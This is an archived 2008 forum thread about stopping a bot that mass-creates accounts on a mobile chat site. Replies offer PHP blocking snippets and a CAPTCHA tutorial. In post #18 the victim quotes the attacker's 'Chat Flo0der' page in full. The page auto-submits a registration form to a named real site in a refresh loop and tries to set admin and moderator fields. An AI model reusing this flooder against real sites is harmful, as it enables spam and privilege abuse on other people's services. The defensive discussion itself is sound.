Urgent Help

Started on the old forum in June 2008 · view the original in the archive · old links redirect here

23 replies · 1,372 views · started 18 years ago · 1 min read

7 participants
ReGzBk Developer · 115 posts #1

Jaat today created more thn 3000 nicks on ma site with auto nick maker nd also was spamming ...how to stop it nd other hacking attacks ? pls help urgent....he is still goin on with nick creation ...

ViSiT Ma SiTe Nd PoSt Ua CoMmEnTs On It In Ma PoSt

rukiya Lead · 569 posts #2

include("block.php"); in the 2nd line of the index.php,login.php etc php pages that is the include function should be pasted after php start tag <?php

block.php

<?php
$brws = explode("(",$_SERVER['HTTP_USER_AGENT']);
$ban="";// write broswer name like Nokia 6020
if($brws[0]==$ban){
header ('Location: ban.php');}
?>

ban.php

<?php
header("Content-type: text/vnd.wap.wml; charset=ISO-8859-1");
echo "<?xml version=\"1.0\" encoding=\"ISO-8859-1\" ?>";

echo "<!DOCTYPE wml PUBLIC \"-//WAPFORUM//DTD WML 1.1//EN\"
\"http://www.wapforum.org/DTD/wml_1.1.xml\">\n";

/

echo "<wml>\n";
echo "<head>";
echo "<meta http-equiv=\"Cache-Control\" content=\"no-cache\"/>";
echo "</head>";

echo "<card newcontext=\"true\" title=\"Sorry!\">\n";
echo "<p align=\"center\">\n";
echo "[size="1"]\n";

echo "Sorry:
---
[b]*[/b]You cant enter here\n";
echo "[/size]\n";
echo "</p>";
echo "</card>";
echo "</wml>";
?>
GiLL Senior · 356 posts #3

Jaat today created more thn 3000 nicks on ma site with auto nick maker nd also was spamming ...how to stop it nd other hacking attacks ? pls help urgent....he is still goin on with nick creation ...

i would like to ask you which script are you using? i can stop if you are using mobile chat or chatzone script etc let see put this code in your reg.php

$cou = mysql_fetch_array(mysql_query("SELECT `ip`,`soft` FROM `chat_users` order by id desc LIMIT 1"));
if($cou[0]=="".getenv(REMOTE_ADDR).""&&$cou[1]=="".getenv(HTTP_USER_AGENT)."") { include "./a.php"; } else {

it will stop auto now lol and just paste in your reg.php before $login=htmlspecialchars(stripslashes(trim($login))); no need add ip or browser enjoy

left wap stuff

ReGzBk Developer · 115 posts #4

include("block.php"); in the 2nd line of the index.php,login.php etc php pages that is the include function should be pasted after php start tag <?php

block.php

<?php
$brws = explode("(",$_SERVER['HTTP_USER_AGENT']);
$ban="";// write broswer name like Nokia 6020
if($brws[0]==$ban){
header ('Location: ban.php');}
?>

ban.php

<?php
header("Content-type: text/vnd.wap.wml; charset=ISO-8859-1");
echo "<?xml version=\"1.0\" encoding=\"ISO-8859-1\" ?>";

echo "<!DOCTYPE wml PUBLIC \"-//WAPFORUM//DTD WML 1.1//EN\"
\"http://www.wapforum.org/DTD/wml_1.1.xml\">\n";

/

echo "<wml>\n";
echo "<head>";
echo "<meta http-equiv=\"Cache-Control\" content=\"no-cache\"/>";
echo "</head>";

echo "<card newcontext=\"true\" title=\"Sorry!\">\n";
echo "<p align=\"center\">\n";
echo "\n";

echo "Sorry:
---
*You cant enter here\n";
echo "\n";
echo "</p>";
echo "</card>";
echo "</wml>";
?>

Thnx rukiya ...i need something tht can make a gap between registration ....nd i use the code u provided already but i write ip+browser the one u gave is only fro browser ??

ViSiT Ma SiTe Nd PoSt Ua CoMmEnTs On It In Ma PoSt

ReGzBk Developer · 115 posts #5

i would like to ask you which script are you using? i can stop if you are using mobile chat or chatzone script etc let see put this code in your reg.php

$cou = mysql_fetch_array(mysql_query("SELECT `ip`,`soft` FROM `chat_users` order by id desc LIMIT 1"));
if($cou[0]=="".getenv(REMOTE_ADDR).""&&$cou[1]=="100.200.300.400".getenv(HTTP_USER_AGENT)."Mozilla") { include "./a.php"; } else {

where i write 100.20.300.400 rename that ip with spammer/folder ip and also user agent mozilla to Opera or phone etc hope it will work for you

Gill bro m using chatzone script oNly nd wht is a.php in tht ?? ...

ViSiT Ma SiTe Nd PoSt Ua CoMmEnTs On It In Ma PoSt

GiLL Senior · 356 posts #6

Gill bro m using chatzone script oNly nd wht is a.php in tht ?? ...

paste in reg.php it will stop auto if last user will try to make new nick you can check with your own browser/ ip let me know whats result

$cou = mysql_fetch_array(mysql_query("SELECT `ip`,`soft` FROM `chat_users` order by id desc LIMIT 1"));
if($cou[0]=="".getenv(REMOTE_ADDR).""&&$cou[1]=="".getenv(HTTP_USER_AGENT)."") { include "./a.php"; } else {

in a.php put this code

<?
echo "<card title=\"IP Blocked\">";
echo "<p align=\"center\">";
echo "<big>Your IP Address is [b]Blocked[/b]
";
echo "Be Nice Next Time...;-)
[b]yourmail@site.com[/b]</big>";
echo "</p></card></wml>";
@mysql_close();
?>

left wap stuff

ReGzBk Developer · 115 posts #7
<?
echo "<card title=\"IP Blocked\">";
echo "<p align=\"center\">";
echo "<big>Your IP Address is Blocked
";
echo "Be Nice Next Time...;-)
yourmail@site.com</big>";
echo "</p></card></wml>";
@mysql_close();
?>

MAKE IT a.php UPLOAD IN SAME DIR

But bro jaTT uses a lot of ip's nd proxies how many wud i put in there ? isnt there any oder way tht user ones registered with ip cnt register for some time ??

ViSiT Ma SiTe Nd PoSt Ua CoMmEnTs On It In Ma PoSt

ReGzBk Developer · 115 posts #8

paste in reg.php it will stop auto if last user will try to make new nick you can check with your own browser/ ip let me know whats result

$cou = mysql_fetch_array(mysql_query("SELECT `ip`,`soft` FROM `chat_users` order by id desc LIMIT 1"));
if($cou[0]=="".getenv(REMOTE_ADDR).""&&$cou[1]=="".getenv(HTTP_USER_AGENT)."") { include "./a.php"; } else {

in a.php put this code

<?
echo "<card title=\"IP Blocked\">";
echo "<p align=\"center\">";
echo "<big>Your IP Address is Blocked
";
echo "Be Nice Next Time...;-)
yourmail@site.com</big>";
echo "</p></card></wml>";
@mysql_close();
?>

OOps ok got u wud use this code ....

ViSiT Ma SiTe Nd PoSt Ua CoMmEnTs On It In Ma PoSt

amylee Principal · 1,092 posts #9

simplest way to stop this is to add captcha system

wizard Senior · 493 posts #10

simplest way to stop this is to add captcha system

nah thats just one more field to fill out. log browser and ip, n write a piece of code to stop browsers and ips saved from registering more than once say per day or week

amylee Principal · 1,092 posts #11

nah thats just one more field to fill out. log browser and ip, n write a piece of code to stop browsers and ips saved from registering more than once say per day or week

so what if a user has to fill out one more field, thats what captcha systems are made for to stop bots from registering and what not

ReGzBk Developer · 115 posts #13

nah thats just one more field to fill out. log browser and ip, n write a piece of code to stop browsers and ips saved from registering more than once say per day or week

can u give example of code how wud i make it like u say ?? ...like this code given by gill bro wud stop same ip +browser registering twice ...how to add time limit ??

$cou = mysql_fetch_array(mysql_query("SELECT `ip`,`soft` FROM `chat_users` order by id desc LIMIT 1"));
if($cou[0]=="".getenv(REMOTE_ADDR).""&&$cou[1]=="".getenv(HTTP_USER_AGENT)."") { include "./a.php"; } else {

amylee i dont have any idea abt captcha system are u talking abt validation system by entering a code ?? nd in ma case the Jatt used a software to make nicks so its like bot only ....Thnx to all for ua comments ....

ViSiT Ma SiTe Nd PoSt Ua CoMmEnTs On It In Ma PoSt

amylee Principal · 1,092 posts #14

it also stops ppl using a "auto nick maker" as an app cant decipher randomly generated images i have had ppl using these sort of apps exploiting my register page and a captcha image like what you see on my site now along with user validation has stopped this crap from happening full stop

ReGzBk Developer · 115 posts #15

it also stops ppl using a "auto nick maker" as an app cant decipher randomly generated images i have had ppl using these sort of apps exploiting my register page and a captcha image like what you see on my site now along with user validation has stopped this crap from happening full stop

Ok hun i wud try for it ...

ViSiT Ma SiTe Nd PoSt Ua CoMmEnTs On It In Ma PoSt

subzero Super moderator Fellow · 3,954 posts #16

A good way to avoid automatic form submissions when creating a web form is to add some kind of verification. One of the best ways is to use an image verification, called also captcha. What it does is to dynamically create an image with a random string displayed on it. Then visitor is asked to type that string in a text field and once the form is submitted it checks if the string on the image matches the one inputted by the user. Because there is no easy way to read a text from an image (image recognition) this is a good way to protect your web forms from spammers. For doing this CAPTCHA I would suggest using a session variable where you store the string generated and displayed on that dynamically generated image.

<?
session_start();
$text = rand(10000,99999);
$_SESSION["vercode"] = $text;

$height = 25;
$width = 65;
 
$image_p = imagecreate($width, $height);
$black = imagecolorallocate($image_p, 0, 0, 0);
$white = imagecolorallocate($image_p, 255, 255, 255);
$font_size = 14; 
imagestring($image_p, $font_size, 5, 5, $text, $white);
imagejpeg($image_p, null, 80);
?>

Save this code in a file called captcha.php. What this script does is to generate a random number from 10000 to 99999 and then assign it to $_SESSION['vercode']. Then it generates a 25x65 pixels image with black background and white text using size 14. So if you upload that captcha.php file on your web site and open http://www.site.com/captcha.php you will see an image displaying random integer. You will receive a new random integer every time you refresh that page.

Next we need to create our web form.

<form action="submit.php" method="post">
Comment: <textarea name="coment"></textarea>

Enter Code [img]captcha.php[/img]<input type="text" name="vercode" />

<input type="submit" name="Submit" value="Submit" />
</form>

Above code will create a form with a single textarea box, randomly generated image using the captcha.php script and a text field where you will have to enter the verification code.

All we have to do now is to make the submit.php script which will check if the verification code you enter matches the one that has been randomly generated.

<?
session_start();
if ($_POST["vercode"] != $_SESSION["vercode"] OR $_SESSION["vercode"]=='')  {
     echo  '[b]Incorrect verification code.[/b]
';
} else {
     // add form data processing code here
     echo  '[b]Verification successful.[/b]
';
};
?>

Visit: Chat4u.mobi - The New Lay Of being a site of your dreams! Visit: WapMasterz Coming Back Soon!


SCRIPTS FOR SALE BY SUBZERO Chat4u Script : coding-talk.com/f28/chat4u-mobi-script-only-150-a-17677/ - > Best Script for your site no other can be hacked by sql or uploaders. FileShare Script : coding-talk.com/f28/file-wap-share-6596/ -> Uploader you will never regret buying yeah it mite be old now but it still seems to own others... _______…

ReGzBk Developer · 115 posts #17

A good way to avoid automatic form submissions when creating a web form is to add some kind of verification. One of the best ways is to use an image verification, called also captcha. What it does is to dynamically create an image with a random string displayed on it. Then visitor is asked to type that string in a text field and once the form is submitted it checks if the string on the image matches the one inputted by the user. Because there is no easy way to read a text from an image (image recognition) this is a good way to protect your web forms from spammers. For doing this CAPTCHA I would suggest using a session variable where you store the string generated and displayed on that dynamically generated image.

<?
session_start();
$text = rand(10000,99999);
$_SESSION["vercode"] = $text;

$height = 25;
$width = 65;
 
$image_p = imagecreate($width, $height);
$black = imagecolorallocate($image_p, 0, 0, 0);
$white = imagecolorallocate($image_p, 255, 255, 255);
$font_size = 14; 
imagestring($image_p, $font_size, 5, 5, $text, $white);
imagejpeg($image_p, null, 80);
?>

Save this code in a file called captcha.php. What this script does is to generate a random number from 10000 to 99999 and then assign it to $_SESSION['vercode']. Then it generates a 25x65 pixels image with black background and white text using size 14. So if you upload that captcha.php file on your web site and open http://www.site.com/captcha.php you will see an image displaying random integer. You will receive a new random integer every time you refresh that page.

Next we need to create our web form.

<form action="submit.php" method="post">
Comment: <textarea name="coment"></textarea>

Enter Code captcha.php<input type="text" name="vercode" />

<input type="submit" name="Submit" value="Submit" />
</form>

Above code will create a form with a single textarea box, randomly generated image using the captcha.php script and a text field where you will have to enter the verification code.

All we have to do now is to make the submit.php script which will check if the verification code you enter matches the one that has been randomly generated.

<?
session_start();
if ($_POST["vercode"] != $_SESSION["vercode"] OR $_SESSION["vercode"]=='')  {
     echo  'Incorrect verification code.
';
} else {
     // add form data processing code here
     echo  'Verification successful.
';
};
?>

Oh great explaination i wud certainly try this thnx a LOt bro ...

ViSiT Ma SiTe Nd PoSt Ua CoMmEnTs On It In Ma PoSt

ReGzBk Developer · 115 posts #18

Jatt used this coding how can i get rid of this :-

frm this urls :-

Lolz see there source codes ...

<HTML>
<HEAD><TITLE>Chat Flo0der</TITLE>
<meta http-equiv="Refresh" content="1"> 
<script Language="JavaScript">

function submit() {
Timer= setTimeout(" (document.chat_x.submit())",0);

}
</script>

</HEAD>
<BODY onload="document.chat_x.value=(Math.floor(Math.random()*58211333784));submit()">
<FORM action=http://chat.enchantme.mobi/reg.php method=post name="chat_x" target="send">
<input type=hidden name=login value="jatt5585">
<input name=pass type=hidden value="1">
<input name=name type=hidden value="sab ka baap">
<input name=sex type=hidden value="m">
<input name=bday type=hidden value="01">
<input name=bmonth type=hidden value="02">
<input name=byear type=hidden value="1981">
<input name=photo type=hidden value="">
<input name=live type=hidden value="punjab">
<input name=mobile type=hidden value="sada apna">
<input name=operator type=hidden value="">
<input name=email type=hidden value="chatworld-wap.com5585">
<input name=wapsite type=hidden value="0">
<input name=website type=hidden value="2">
<input name=icq type=hidden value="2">
<input name=about type=hidden value="chatworld-wap.com. haha?">
<input name=status type=hidden value="rofl">
<input name=posts type=hidden value="2000000">
<input name=vposts type=hidden value="2">
<input name=nmsgs type=hidden value="2">
<input name=tupdate type=hidden value="2">
<input name=fsize type=hidden value="2">
<input name=ban type=hidden value="2">
<input name=breason type=hidden value="2">
<input name=btime type=hidden value="2">
<input name=room type=hidden value="2">
<input name=moder type=hidden value="4">
<input name=admin type=hidden value="2">
<input name=rtime type=hidden value="0">
<input name=ltime type=hidden value="0">
<input name=ip type=hidden value="127.0.0.1">
<input name=soft type=hidden value="sab ka baap">
</BODY></HTML>

ViSiT Ma SiTe Nd PoSt Ua CoMmEnTs On It In Ma PoSt

ReGzBk Developer · 115 posts #19

Lolz so many ppls checked the links out but no one told how can i get rid of it pls do say if anyone knows tHNx...

ViSiT Ma SiTe Nd PoSt Ua CoMmEnTs On It In Ma PoSt

Sign in to reply.

Similar topics

Keyboard shortcuts

g f
Go to forums
g h
Go to your feed
g m
Go to messages
r
Reply (in a topic)
/
Search
j
Next post
k
Previous post
?
This list
Ctrl/⌘ + Enter
Send what you are writing
Ctrl/⌘ + B / I
Bold / italic while writing
Esc
Close